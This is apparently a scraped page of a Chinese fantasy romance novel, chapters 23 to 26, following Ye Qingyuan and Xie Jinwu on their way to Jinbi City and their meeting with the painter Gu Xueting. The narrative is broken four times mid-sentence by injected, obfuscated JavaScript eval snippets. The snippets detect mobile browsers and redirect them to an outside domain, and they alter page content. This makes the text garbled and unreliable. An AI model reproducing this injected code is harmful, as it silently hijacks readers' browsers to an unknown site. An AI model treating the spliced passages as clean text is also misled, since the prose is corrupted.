她的声音清甜而柔婉,或许因心里别扭,语调扯出一丝撒娇的意味。谢尽芜的眼睫颤动了一下,转头望着她,眼眸清透沉静得像是深山的一泓冷泉。 叶清圆说不理他就不理,垂着头掰开一只杏,眯着眼咬了一口果肉。 察觉到他的目光,她哼笑道:“说不给你吃就不给你吃,看也没用。” 谢尽芜收回目光,拽了根草,叼在嘴里。 ……至于嘛,整得自己可怜兮兮的。 叶清圆不管他。向后一仰,脑袋轻轻靠在树干,眯着眼吹风吃杏,脸上笑意是说不出的心满意足。 他们并排坐在树下,微风轻拂,树叶簌簌有声。 树顶鸟鸣啾啾,远处溪水流淌,谢尽芜轻声问:“你怎么知道的?” “知道什么?” 谢尽芜抬起眼看她:“我身中邪印。” 叶清圆睁大双眼,看他的眼神仿佛在看笨蛋:“我都看到你与那些黑影打架了,我还画符咒帮你了呢!你说我怎么知道的呀?” 她说完自己都要笑起来了:“真是的!你这人怎么回事,还会失忆吗?” “你不会是还没恢复吧?”叶清圆和他开玩笑,笑得眉眼弯弯,明媚胜过春花,口中却在说害怕,“那你要离我远点,我怕再被你误伤一次。” 谢尽芜见她笑了,脸上表情很明显地放松了许多。这让叶清圆产生一种错觉,仿佛他方才问的那个笨蛋问题,是为了故意逗她笑一般。 叶清圆轻咳一声,将这个惊悚的想法驱逐出脑海。 谢尽芜认真地回答她的无理取闹:“不会再误伤的。” “真的?”叶清圆歪着脑袋,将杏核放在另一片树叶上,“那下次你再被邪印控制的话,该怎么做才能叫醒你?” 谢尽芜想了想:“你可以叫我的名字。” 就像刚才那样。 叶清圆听了简直忍不住要笑,好随意敷衍的回答,这个世界里难道还有叫一声名字就可以唤醒身中邪术之人的设定吗?或许他自己也不知怎么解除邪印吧。 不过她也不想因为这个事纠缠下去,顺理成章地点头说:“那好,我相信你。为了庆祝我们的友情重归于好,请谢公子来吃杏吧。” 谢尽芜怔怔的,漂亮的眼珠定住了一般,似乎是对她的思维跳跃感到讶异。 她低头将杏儿掰开,递给他其中一瓣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢尽芜轻微松了一口气,淡声道:“令尊颇为体恤下人。” “大家都是出来挣一口饭吃,谁不是家有老小?体恤是互相的。”叶清圆倒了药膏在指尖,上半身稍微倾了过来,“抹上去可能会有点刺痛,你要忍一下。” 兴许是方才在太阳下小跑了一会儿的缘故,她的身上沾了些初夏时的热气,因此那清甜的花香被她的体温晕染得扩散开来,直往人鼻子里钻。她的额头出了些汗,脸颊也红扑扑的,愈发显得那一双眼眸明亮含情。 谢尽芜忽地有些坐立难安。 叶清圆托着他的小半个手掌,沾着药膏的手指轻轻抹了一下,药性极强的膏体涂抹到尚在渗血的伤口,她只看着都忍不住要倒吸一口凉气,谢尽芜竟纹丝不动。 谢尽芜稍微抬起眼帘。 树叶缝隙漏下的光影斑驳,她微垂的脖颈白皙纤弱,几缕碎发拂在衣领边缘,被风吹着拂在了后颈上,一瞬间黑白分明,鲜明到几乎刺目的对比。 她神情认真地为他抹药,细长的眉轻轻地蹙起来。 谢尽芜抿了一下唇,问道:“你为何皱眉?” “替你害疼呢。这药我先前摔破膝盖时用过一次,那滋味,真够酸爽的!”叶清圆满心敬佩地夸赞了一句,“这么久你竟还一声不吭,你也真的是很能忍痛。” 她低头认真地将药膏涂抹得均匀,指尖触在他的手掌上,动作轻得仿佛一片花瓣落在他的皮肤上。 谢尽芜的手指反射性地抽动了一下,难耐地闭上眼睛。 “好了,”叶清圆抬头一看,“你闭上眼干什么?” 谢尽芜的耳尖有些微红:“没什么。” 他垂下眼睫,默不作声地看着自己虎口上被精心抹上的一层药膏,神色一时有些怔忡。 无非是疼痛而已,这点小姑娘咬出来的痕迹,在他眼中根本连伤口都算不上。 可是她却煞有介事地取出伤药,轻声细语哄孩子一样地为他涂抹,就连蹙起的细眉都流露着替他害疼的担忧与怜悯。 原来受了伤可以这样的吗?只流了一点血而已,却要很轻很仔细地上药、包扎,要耐心地轻声安慰。 还会替他觉得疼。 谢尽芜的脑筋忽地就转不过来弯了,他极为有限的异性交往常识让他根本不明白眼下的情况。 他转头安静地看她,眼中带着一丝探究的意味:“如果我说疼,会怎么样?” 叶清圆仰头靠在树干上吃杏,闻言不由愣了一下,脆声笑道:“疼就吹吹呗,还能怎么样?” 谢尽芜听过之后,也不由得讥诮地笑了。是啊,还能怎样?她连画符时的凝神聚气都做不到,剑术也一窍不通,难道还妄图她去为自己止痛吗? 他在这世上本就是孑然一身,身负的痛楚也是他命中注定,他有什么好期待的呢? 谢尽芜有些自嘲地闭上眼睛。 24. 第 24 章 夜幕降临,白天积攒的暑气逐渐被风吹散,晚风中夹杂着些许凉意,拂在人面上,说不出的舒爽。 昏暗的道路上不见一丝明火,街边的灯笼全都破败不堪,许久无人使用的样子。唯有月光如银纱般泼洒下来,隐约照亮了狭窄幽寂的小巷。 他们行进了将近两日,终于走到了金璧城外。可奇怪的是,金璧城在原著中乃是出了名的繁华地、销金窟,公子王孙一掷千金都是寻常操作,据说就连贯城而过的千花河底都满是碎金子,按理来讲,这等繁荣的大城镇,应该对周边区域有着一定的辐射作用。可为何此地显得那么荒凉呢? 眼前的小巷子是说不出的破败灰暗,房屋破旧不说,有些甚至连屋顶都漏了一个大洞,无人修缮。道旁的砖缝里长满了杂草,草棵繁茂,高及人的腰部,让叶清圆不由得害怕里面是否盘踞了小蛇。 “这种地方……我们真的要在这里住下吗?”叶清圆的声音都有些颤抖了。 她这辈子最怕的就是蛇虫,这种数量繁多却极难捕捉的生物是她想起来就忍不住尖叫的恐怖存在。怨灵之类的东西尚且可以用符咒消灭,可是若碰到一只毛毛虫,她不知该怎么办才好。 谢尽芜倒没觉得此地的环境有多么恶劣。在他眼中,这些房屋遮风挡雨,又无人来打扰,比他曾经休憩过的乱葬岗要好多了。 至于蛇虫,他从未考虑过这个麻烦。毕竟他邪力傍身,别说蛇虫与动物了,即便是道行低微的怨灵见了他,也要退避三分。 他转过身看叶清圆,刚想说些什么,却发现她不知何时已经躲在了他的身后,一双泛着水光的眼眸楚楚可怜地望着他。 “……”谢尽芜话到嘴边,又生生忍住了。他垂眸看着她,良久之后,唇边勾起一个不易察觉的笑,低沉又温柔,“我们再往北走一段路,争取今夜能进金璧城。” 叶清圆立刻小鸡啄米似的点头:“好!” 天边云翳薄得像轻纱,被风吹得流淌过去,月光便猛地一暗。 二人为了尽早赶到金璧城,颇为默契地抄了近道,沿着这破败的小巷一路北上,途中经过荒地、暗河与破屋,偏偏这一路一点明光都没有,灯笼都见不到一盏,叶清圆怕黑怕得要命,又羞耻于开口,只不住地往谢尽芜身边凑。 谢尽芜的视力极佳,在昏暗的月夜下也不受丝毫影响。他经常赶夜路,习惯性地开始分析路况,计算还有多少时间到达金璧城,丝毫没有意识到身旁姑娘的小动作。 叶清圆欲哭无泪,心说早知如此,还不如先就近找间客栈住下,到了明日天亮再进城呢。 可日暮时分,她分明看到金璧城近在眼前,她甚至看到金璧湖上画舫的灯笼照亮了天幕,听见柔靡的丝弦乐声随风悠悠传来。可为何真正走过去的时候,就显得这般遥不可及了? 思及至此,她的脑海中忽地闪过一个惊悚的想法:“谢……” 忽然一阵冷风吹过,道旁阴影中的杂草齐刷刷抖动起来,紧接着黑暗中传来脚步踩动荒草的干脆声。叶清圆面露惊恐,循声看去,月光照不亮的地方,似乎有什么东西在蛰伏着,已经盯了他们很长时间。 她放轻脚步走到谢尽芜身旁,轻声问道:“这里……有妖吗?还是有鬼?” 谢尽芜没有出声,清透冷漠的眼眸冷冷盯住草丛中的动静。一瞬思索后,他的指尖凝聚起剑意,叶清圆只觉眼前一道刺目寒光闪过,草丛中立时传来闷响。 仿佛是利剑刺进皮肉的沉闷声,紧接着有什么物体扑通一声倒地,从荒草中骨碌碌地滚了出来。 叶清圆凝目一瞧,昏暗中,那隐约朦胧的轮廓逐渐显现出来,竟是一只垂死的野猫! 她刚要说谢尽芜出手太狠,月影倏然移过来,照亮了野猫的身体。 说不清这只野猫究竟还有没有性命,满身的毛发呈斑状脱落,裸露出来的皮肤上满是脓疮与血水,却牙关紧咬、满脸凶狠的模样,一双眼红得怪异。 与此同时,伴随着血水的流淌,它的身上还散发出一阵浓烈的腥臭味。 叶清圆被熏得差点晕过去,她强忍着胃中翻涌的不适感,恐惧与恶心两种情绪掺杂,她的头脑一时昏沉,支撑不住般靠在了谢尽芜的手臂,好半天都没有缓过来。 “……这只猫已经死去很久了,全凭一口妖气吊着。” 谢尽芜亦有些不适,却是因为她挨过来的柔软身躯,淡淡的花香钻入鼻腔,他本就挺拔的脊背此时简直是僵住了,连脑筋都转得慢些,“……这附近有一只妖。” 叶清圆慌乱之中不由心道:何止有妖,这只妖极为工于心计,还差点把你们团灭呢! 但目前的问题不在这里,先解决这只野猫好不好?! 野猫凶相毕露,不甘地嘶吼叫嚷着,还拖着断掉的腿挣扎着爬过来,在地上拖出一道暗红的血迹,嘶哑的嗓音在沉寂的夜里听起来尤为惊悚。 她快要受不了了,转身抱住了谢尽芜的手臂,低声央求道:“快给它个痛快吧!” 她抱住他的一瞬间,谢尽芜的双眼蓦然睁大,喉结滚动,脸颊发红,微不可察地退了半步,手臂后知后觉地感知到她胸口柔软丰盈的触感。 偏偏她却犹不知分寸,兴许是因为太过恐惧,那两团柔软甚至不经意地在他手臂上蹭了蹭。 好不容易稳定下来的心跳骤然剧烈起来,谢尽芜脸上的热度层层攀升,烧得他耳尖都红了。 夜间不知何时浮起了一点雾,微凉的晚风中带着一股潮气,拂过他精瘦白皙的脖颈与微烫的脸颊,不仅没有降下温度,却叫他的心头更加燥热了。 他抬起另一只手按住她的肩膀,用力将她推开一些,嗓音里有种忍无可忍的沙哑:“你先松手!” 叶清圆被他推开时尚且有些不解,一双端丽的眼眸中泛着水色,看得人心里止不住的痒。 谢尽芜闭上眼,强迫自己将方才的景象逼出脑海,再睁眼时,手指已经掐诀,那埋在野猫身体里的剑意倏然爆发,捣碎了它的心脏! 一股强烈的恶臭蔓延开来。待解决这只沾染了妖气的野猫之后,叶清圆被熏得已经脸色发青了。 谢尽芜心里烦躁无比,像是有什么东西在胸腔中炸开来,逼得他有些喘不过气。他扶住她的肩膀,眼睫低垂,声线里是他自己都察觉不到的颤抖:“自己能走吗?” 叶清圆像是藤蔓一样,两条手臂缠绕着,就此攀住他的胳膊,皱着眉欲哭无泪道:“我想吐……” 谢尽芜脸色顿时变了,也顾不得什么分寸与礼节,一把揽住她的腰,拖着她就往河岸边的上风向走去。 他把叶清圆抱到河岸边的一棵歪脖子树下,看着她做了几个深呼吸。这条河流虽窄,却也是千花河的一条支流,河水颇为清澈,叶清圆被风吹着咳了几声,终究没有吐出来,脸色逐渐好转一些。 她神情恹恹,轻声抱怨道:“这什么妖毒,威力竟然这么大,生化武器嘛简直是!” 谢尽芜垂眸看着她,眼中情绪晦暗不明:“妖毒皆是如此,习惯就好。” 叶清圆扭过脸来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445936|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可怜兮兮地说:“那我这辈子都习惯不了了。” 头顶惨淡的月光,身处破败而荒芜的小镇,不远处还有一只染了妖毒的野猫尸体,黑暗中或许还蛰伏着未知的危险,眼前之人还是个只会拖后腿的拖油瓶,换做以往,谢尽芜怕是早就不耐烦地叫人符水洗手、自此弃绝道途,莫再丢人现眼了。 可他此刻的心中却没有一丝烦躁,而满是对于眼前姑娘的无奈。 他垂下眼帘,唇边竟奇异地流露出一丝堪称温柔的笑意。 叶清圆缓过气来,脸颊也逐渐红润如初,她敏锐地捕捉到谢尽芜脸上一闪而逝的笑意,好奇道:“你笑什么呢?” “笑你这么不堪一击。” 叶清圆的脸上有些挂不住了:“这次只是意外、意外!而且那种味道真的很难闻哪,我就不信这世上还能有人闻了妖毒的味道而面不改色!” “那种味道不是妖毒,而是尸臭。”谢尽芜纠正她,“若真是妖毒,你如今就不能坐在这里讲话了。” “……”叶清圆别过脸去,只是一瞬的吃瘪,她马上又神采飞扬起来,“反正你也受不了那种味道的,我都感觉到啦,你的胳膊绷得紧紧的,连脸都憋红了呢!大哥不说二哥,你不许笑话我!” 她的眼睛亮闪闪的,像是盛满了天上的繁星。仿佛抓住他的把柄,是足够她高兴到露出这般灿烂笑容的程度。 谢尽芜沉默着不作答,无法解释他脸红是因为什么。况且她笑得这般明媚而热烈,那就让她高兴一次也无妨。 不过,他忽地想到什么不太好的事情,斟酌一瞬后,淡声开口道:“以后不要随意就往别人身上靠。” 真不知道她这个动手动脚的毛病从哪来的,今日抱住的是自己的手臂就还好。倘若以后她身边站了其他的男子,她也这样扑过去抱住人家吗? 谢尽芜越想越气,他分明知晓自己不该有这样恶意的揣测,她虽娇纵任性些,有些小姑娘的脾气,却毕竟是大家族里教导出来的姑娘,怎么会越过礼节的边界线呢? 可他却还是忍不住感到不悦。 不然,就只能时时看顾她,不让她离开半步。 这个念头乍一浮现出脑海,谢尽芜就被自己吓了一跳,慌忙将这诡异的想法按下去,按得死死的。 他的语气转变得很生硬,叶清圆一时有些摸不着头脑:“我往谁身上……” 话音戛然而止,她忽地反应过来什么,微微一怔。 她险些忘了,谢尽芜在原著里可是极为厌烦旁人的靠近,原身当时被囚禁在潮湿水牢中的时候,就因为扒拉了一下谢尽芜的靴子,而当场被切断了三根手指。 她方才被恶心到极点,慌不择路时一把抱住了谢尽芜的手臂,那一瞬间她明显地感觉到他的整个身体都紧绷住了,硬得像是钢铁。 他那时脸色红得不正常,不会是被气疯了、在强忍着对自己的杀意吧? 叶清圆顿时欲哭无泪,尴尬地笑了一下:“好,方才是我冲动了,对不起嘛。” 谢尽芜的眉头很好看地皱起来,眼中现出茫然的神情:他们的话题好像跑偏了。 说话的当口,厚重的雾气悬浮着从小巷深处蔓延过来。晚间有风,那浓雾裹着潮气就这么随夜风流淌,宛如有神识一般向河边浩荡奔涌而来。 谢尽芜微微蹙眉,径直向叶清圆走过去挡在她的身前,极佳的灵识穿透浓雾,竟隐约辨认出了一道清瘦颀长的身影。 他薄唇微启:“雾的后面,有人,或许也不是人。” 25. 第 25 章 叶清圆吓了一跳,浓雾、冷风,瞬间唤醒了她在初阳镇夜闯鬼街的糟糕记忆。她的手不动声色地伸向荷包,指尖已经触到粗糙的符纸,全神贯注地盯着浓雾里的任何动静,只要有鬼现身,她就能立刻甩出一道五雷符。 自那次与黑影缠斗之后,叶清圆就有意地备下许多画好的符咒,生怕打斗中途出现符纸不够的情况。 可是她凝神盯了许久,浓雾中始终无人现身。恰在此时,一阵狂风吹来,吹散了弥漫这个河岸的浓雾。 几乎是瞬息之间,谢尽芜抽剑出鞘,剑光冷厉清锐,径直杀向浓雾后显露的那道身影! 与此同时,一阵磅礴的灵力自那人身上爆发出来,与谢尽芜所发出的剑意迎头击上,两道剑意旗鼓相当,猛烈的撞击之后,又瞬间消弭于无形。 那人转过身,慢慢地踱步而来,天边云翳散去,清辉泼洒。 他身穿道袍,外披一道泼墨山水纹的披风,腰间垂挂玉环,右手自披风中探出来,手腕半露,掌中提着一盏灯笼。 是宫中御用的样式,灯罩上描了一只被云雾托住的白鹤,脖颈修长,振翅欲飞。寥寥几笔,一幅白鹤寻仙图跃然纸上,足见画师功底。 叶清圆心念一动。泼墨山水纹、掌中提灯……再结合此时的副本进度,她霎时反应过来,轻声道:“画师顾雪庭。” 顾雪庭走到他们二人身前站定,抬起头来。此刻浓雾倏然散尽,天际剑光飞越,清辉自头顶倾泻而下,照清了他白皙而青稚的面容。 眉眼疏淡却多情,薄唇殷红,唇角微勾,乍看之下艳丽得不似活人。 传说顾雪庭并非渡真世家亲传子弟,相反,他来历不明、却天赋异禀,因行事荒唐、根骨怪异而常年受人打压、忌惮。 若非渡真世家的家主亲自出面保他,他早就被族中长老碾得骨渣都不剩。 顾雪庭唇角一弯,漆黑的眼瞳漫出杀意,周身气劲外泄似狂风漫卷,街巷的枯枝碎叶被震动碎裂如雪。提灯的手腕微微一转,灯杆自正中“喀喇!”断裂,冷凝的寒光一闪,露出一截利刃。 此剑一出,满街清鸣,浓浓雾气竟瞬时被剑气凝成飞雪。 顾雪庭随手丢掉鹤灯,漫不经心地轻笑一声:“挡我路者,不论是谁,都要死。” 话音未落,他霍然起身,长剑嗡鸣清锐凌厉,剑尖一点寒光如星,直击谢尽芜的面门,却尚未触及谢尽芜身前三尺之地,剑势倏然一凝,顿在冷雾弥漫的半空,似被某种极为强势的力道生生制住。 所有的冰雪剑气,尽数终结在谢尽芜的前方。若月光再亮些,或许就可以看清他的身前已然形成一道极薄的灵罩,挡住了所有的剑意攻击。叶清圆站在他身后,只觉有细微的凉风拂过耳畔。 谢尽芜的眉目依旧沉郁,似乎是懒得与眼前之人废话,提着剑纵身杀了过去。他身形轻快,剑势却极快极稳,剑锋穿过飞雪落叶狠狠刺向顾雪庭。叮叮当当几招过后,那顾雪庭竟已有些承受不住,持剑的手腕微微抖动。 这一瞬的不支,却是天大的破绽。他这一招尚且来不及收势,眼前寒光闪过,谢尽芜的长剑已裹挟着冷凝的冰雪之意冲着他的喉骨狠狠刺来! 眼角余光有什么东西一闪而逝,顾雪庭讶异地发现,那寒冰似的剑身上,竟隐隐显出了繁复的符箓印记! 对付这种不似活人的敌人,谢尽芜从来都是直击要害,不留任何余地。 顾雪庭惊诧之间迅疾后退,山水泼洒的宽大衣袖振起狂风,飞雪落叶漫卷中,鬓发被凌厉的剑光削断一缕。 剑势收尽,他持剑站定在雪中,脸色发白,喘息未定,乌黑的断发缓缓飘落在地面。 “竟然在剑身以灵力镂刻符箓,看来是遇到同行了。”顾雪庭的目光从脚边的断发收回,眼中流露出惋惜之色,“可惜,我还以为今夜就能把大妖抓住呢。” 二人交手不过片刻,释放出来的寒冰飞雪就让此地的温度骤降,叶清圆原本被尸臭熏得发晕的脑子被激得一下子清醒过来。 “叮!系统提示:支线任务二【魂断金璧城】正式开始!” “系统提示:请宿主按照原著剧情,说服角色【谢尽芜】与角色【顾雪庭】成为同伴。” 叶清圆的心忽地提到了嗓子眼。 这就是她在金璧城副本里面临的第一个难题,让两个方才还短兵相接的人成为同伴。 原著的剧情进行到了这里,差不多是揭露许多谜团的关键节点。谢尽芜距离黑化只差原身的临门一挑拨,原身被打断腿骨、关入地牢也正是在这个副本结束的时候。 而在原著当中,谢尽芜与顾雪庭也确实成为了“盟友”。顾雪庭行事荒唐、性情狂妄,谢尽芜黑化之后变得残忍嗜杀、多疑猜忌。可想而知,这两人在剧情后期完全是相互利用,为了一己私欲做下了许多残害生灵的“壮举”。 她焦虑得眉心紧蹙,明知不该让这二人相识,可系统的催促声却响个不停。 顾雪庭收剑入鞘,掌心就此按在了剑柄上。他殷红的薄唇挂了一抹笑:“二位也是来此捉妖吗?既然我们来此的目的一致,何不同行一程?” 他的嗓音清越动听,像是一抹春风。 谢尽芜拂了拂沾染冰雪的袖口,目光冷冷地睇着他,漆黑漂亮的眼眸中划过一丝厌恶的情绪。 随即,他一言不发,转身就走。 系统的警报声霎时响起。叶清圆只好颇为头疼地站了出来,小跑到谢尽芜的身边,张开手臂拦住他,一双大眼睛笑得柔媚,轻声道:“别走嘛,我们先听他讲完好不好,若真的是来捉妖,我们也多了个帮手对不对?” 谢尽芜敛眉低目,因居高临下的角度而显得神情有些肃冷不悦。身旁的姑娘仰着脸冲他使眼色,眼梢和唇角都弯弯地往上翘,带着点灵俏的、活泼的笑意。挨得近了,她身上清甜的花香又缓缓地渡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445937|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来。 她这次似乎学乖了,没再抱着他的胳膊不放,只是将手心虚虚地按在他的手腕,做出一个阻拦的姿势。 谢尽芜的眉头蹙了蹙,他心里不悦,却也不说出来,只是勉为其难地道:“我不需要帮手。” 叶清圆轻笑着说:“我也知道陌生人不可不防备。但人多力量大嘛,说不准他知道些消息呢。” 谢尽芜的脑海中一瞬间转过许多念头,戒备、厌恶以及杀意……零碎的想法皆被驱逐出脑海,他的视线落在女孩含笑的眼中,蹙着的眉忽然就舒展开来,唇角现出一抹极力隐忍过后的笑意。 叶清圆敏锐地捕捉到这一抹,眼睛眨了眨,她的灵台仿佛被仙人之手点了一瞬,惊讶地意识到:原来这个大反派这么吃软不吃硬! 她默默地将这一点攻略秘诀记在心里,松开了抚着谢尽芜胳膊的手,转身走过去对顾雪庭道:“你就是‘画师’呀?” 顾雪庭含笑,好整以暇地点头:“正是在下。” 叶清圆单刀直入道:“初阳镇的那位教书先生,可是你的手下?” “我的手下太多,什么教书先生,我早已没有印象。”顾雪庭依旧在笑,一脸的漫不经心,“不过姑娘既然这么问了,那就是吧。” 这是什么脑回路? 顾雪庭又笑着说:“姑娘是想知道,我为何安排他收集冤魂,对吗?” 好坦诚,好主动,她根本没办法反驳一点,只好诚实地点头。 “实不相瞒,我可以感知到死气。”顾雪庭脸上的笑意愈深,“初阳镇上方早已死气弥漫,数百冤魂终年盘桓不散,再这么下去,整个初阳镇都要成鬼蜮了,偏那些世家修士看不出来。” 他的声音很轻,带着莫名的怀念之意:“不过也不能怪他们,初阳镇当时的情况已经很严重,若非世家大族之人,是绝不敢出手解决的。可世家之人又怎么会随意外出呢?这么多年,那个地方还没被冤魂给残害了,纯粹靠山顶老宅那处阵法的压制。” 叶清圆越听越心惊,原来她经历的第一个副本竟危险到这种程度?稍一不慎,整个初阳镇都有可能灭掉? 她压下心头的后怕,继续道:“那你是如何发现的呢?” “我闲嘛,”顾雪庭耸了耸肩,“我是叛出师门的废徒,无处可去,只好四处溜达了。” 真是好坦诚啊! 顾雪庭又笑道:“至于那个教书先生,当时我应该是派他去收残魂,谁知他起了贪念,想将残魂收为己用——你们后来有杀掉他吗?” 谢尽芜颔首。 “猜到了。”顾雪庭眼里的笑意分毫未变,“至于这次,我也是感受到了金璧城的死意,才特意赶来的。” 叶清圆疑惑道:“可是,目前还没有听说过金璧城有死人的消息传来。” 顾雪庭这次笑出了声,雪白的脸上一张红唇勾起,美得摄人心魄:“很快就会有了。” 26. 第 26 章 金璧城的夏季来得快,临到傍晚,积蕴了一整天的暑气便会爆发,连迎面而来的风中都满是热意。 沿河一条街乃是城中最为繁盛之地,酒楼茶楼林立,水上画舫灯暖,柳梢轻摆,明暖的花灯装点道路。晚风轻拂,行人如织,夜夜都是歌舞升平。 酒楼临河的窗户半开,错落有致的竹篾帘子垂系着,细碎的缝隙筛出雅间里觥筹交错的热闹景象。 一阵暖风拂过,嶙峋瘦长的花枝被风推着,扣了扣窗棂。 临窗的客人闻声转头望,视线却越过粉白簇拥的花朵,投向堤岸边轻声谈笑的锦衣贵人们。 马车与侍卫有序并列,明显是王公出行的规制。客人不由讶异:“如此大的阵仗,是侯爵府的那位崔老夫人?” 水面上画舫停泊,红纱轻摇。崔老夫人抿唇颔首,唇角笑纹在彩灯的映照下一闪而逝。 此处光线昏暗,掩盖住了她眼尾的皱纹与肌肤的衰败,将那分衰老彻底从脸上抹去,唯余浅浅的脸颊轮廓。此时的崔老夫人眼中带笑,身形清瘦挺拔,鬓发浓密如云雾,倒像是个风华正好的侯门贵女。 在旁立着的几位夫人不由慨叹,到底是大家族出来的,举手投足俱显雍容华贵的气度。 崔老夫人年轻时就是姣好的相貌,嫁入侯爵府,年纪轻轻就封了诰命,夫婿潘老将军又是那样专一体贴,将她捧在手心宠了一辈子,从不舍得叫她操心劳累。如今虽年纪大了,肤色依旧雪白,眉眼间的纯真消逝了,又被岁月滋养出慈祥温和来,更显和善。 她膝下两个儿子,个顶个的相貌好。长子潘璞玉性情稳重,堪当大任,成年后就随父亲镇守边关,次子潘淳玉私下里倒是浪荡蛮横,却也知晓轻重,靠着潘老将军的人脉坐在了高位,在这堪称“小京畿”的金璧城站稳了脚跟。 两个儿子皆是对江山社稷有所贡献的将才,她这一路走来,可谓是顺风顺水,足见得是极好的命格。 可悄悄看,她虽在笑,眼下的乌青与眉宇间却是掩饰不住的憔悴之色。 恩泽万千、风光无限的侯爵夫人何曾有过这般心力交瘁的时候? 侯爵府的传言……恐怕是真。 几位夫人想到此处,脸上笑容顿时变得有些勉强,眼中甚至流露出恐惧之色,默不作声地后退半步,唯恐那“晦气”沾染到了自己身上。 今年千花灯会由潘淳玉着手主办,崔老夫人本就是强撑着精神来露个脸,此时灯会开始,她的额角有根筋忽然突突地跳起来,跳得她头痛欲裂,几近干呕。也不顾得在乎上京贵妇们的眼光了,她敛了笑容,垂首在侍女的搀扶下进了马车。 马夫扬起鞭子轻挥,车轿笃笃前行。 侯爵府夫人出行,前后随行侍卫诸多。雕花车盖下也垂了玉环,随风发出珠玉相撞的轻灵响声。 千花灯会五年一度,几乎满城的王孙贵族都集聚于此,街头巷尾亦是挤满了百姓,车马难以通行。崔老夫人听到这沸腾的欢呼声与笑闹声就头痛欲裂,哪还等得及这一时片刻?于是吩咐下人快快绕路,她早些回府歇息才是。 她这几日夜夜噩梦,梦里满是泼天的血腥与一张惨白的脸容,片刻不得安宁,因此白天专程去了城郊的青山道观,虔心求取一道护身符,稳妥地佩戴在身上。保佑她今夜有个安稳的睡眠,万万不要再见到那个女人。 不曾想,这一绕路,竟是绕出了事。 天色已经黑透了,他们绕的这条巷子较为偏僻,方才的热闹人声都被深夜与晚风吞噬,四下万籁俱寂,巷中雾气浓重,门庭上雪白的灯笼高悬,在青石砖道上漾出流水一般的光芒。 那道光芒映照过来的一瞬间,车夫冯力的眼神就开始发直。 他的喉咙中忽地发出“咔咔”的声音,一双眼空洞洞的甚是吓人。整个人呆怔住,宛如被浓雾深处的黑暗摄取了心魄,闷着头驾马发疯一般往漆黑的巷子里钻! 随行的侍卫与丫鬟早已不见了身影,道路两旁的槐树枝垂下来,如干枯的手指般不断拂拭着马车顶蓬,发出令人毛骨悚然的刺耳声响。 雾气重得要遮挡视线了,马蹄声笃笃,马车已然行驶进入巷子深处。 刺骨寒意一阵阵往脖颈里钻,宛如一只冰冷的手掌按在他的后颈,冯力梦醒般突然一个激灵。 他揉了揉眼,向两边看去。 顿时瞠目结舌。 白灯笼?槐树? 金璧城里盘踞了多少根深蒂固的大家族,大到公侯府邸小到河边商铺的摆设都有规制讲究,谁这么胆大包天,竟敢在正门头上悬挂这样晦气的白灯笼? 侯爵府的马车,随从侍卫不会少。冯力转头刚要呼救,这一看却是心都提到了嗓子眼。 青石长街空荡寂静得宛如坟场,马车的旁边,连陪行丫鬟都不见了,哪有什么侍卫? 冷风呼啸,雾气浓重,唯一的活物恐怕就是他自己。 冯力僵硬着扭过头来,后背刷得出了一层冷汗。 与此同时,一阵狂风猛烈吹来,满树槐花簌簌纷乱飞舞,漫天细雪如碎银。雪帘厚重,雾气深处浪潮一般涌动起来,似乎有什么东西要趁机钻出。 这是要撞邪?五月飞雪,谁这么冤? 冯力怕到了极点,反倒恶向胆边生,握紧了鞭子一咬牙:“什么不长眼的蠢东西,竟连侯爵府的车都敢拦,不看看我家大少爷是干什么的!有种就出来,别在这儿装神弄鬼!” 话音落下,蓦地用力往前重重挥出一鞭,鞭子带出烈烈风声,回荡在空寂的小巷。 回音缓缓消弭。巷子深处,却传来极轻的一声笑。 “……谁、是谁?”冯力方才的嚣张气焰顿时被浇了个透心凉。 那是一个女人的笑声。轻柔且清澈,脆如银铃叮当响,若不是在这样诡异惊悚的氛围下,那应当是位天真烂漫的姑娘。 只是,这声音为何如此耳熟? 冯力还在发怔,却不料铺天盖地的槐花竟已当头压下来,仿佛要将整个世界吞没。狂风骤起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445938|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,街巷中回荡起震耳欲聋的呼啸声,悬挂在廊檐下的白灯笼疯狂撞击起来,漫天的槐花反射出千道万道刺目的亮光。 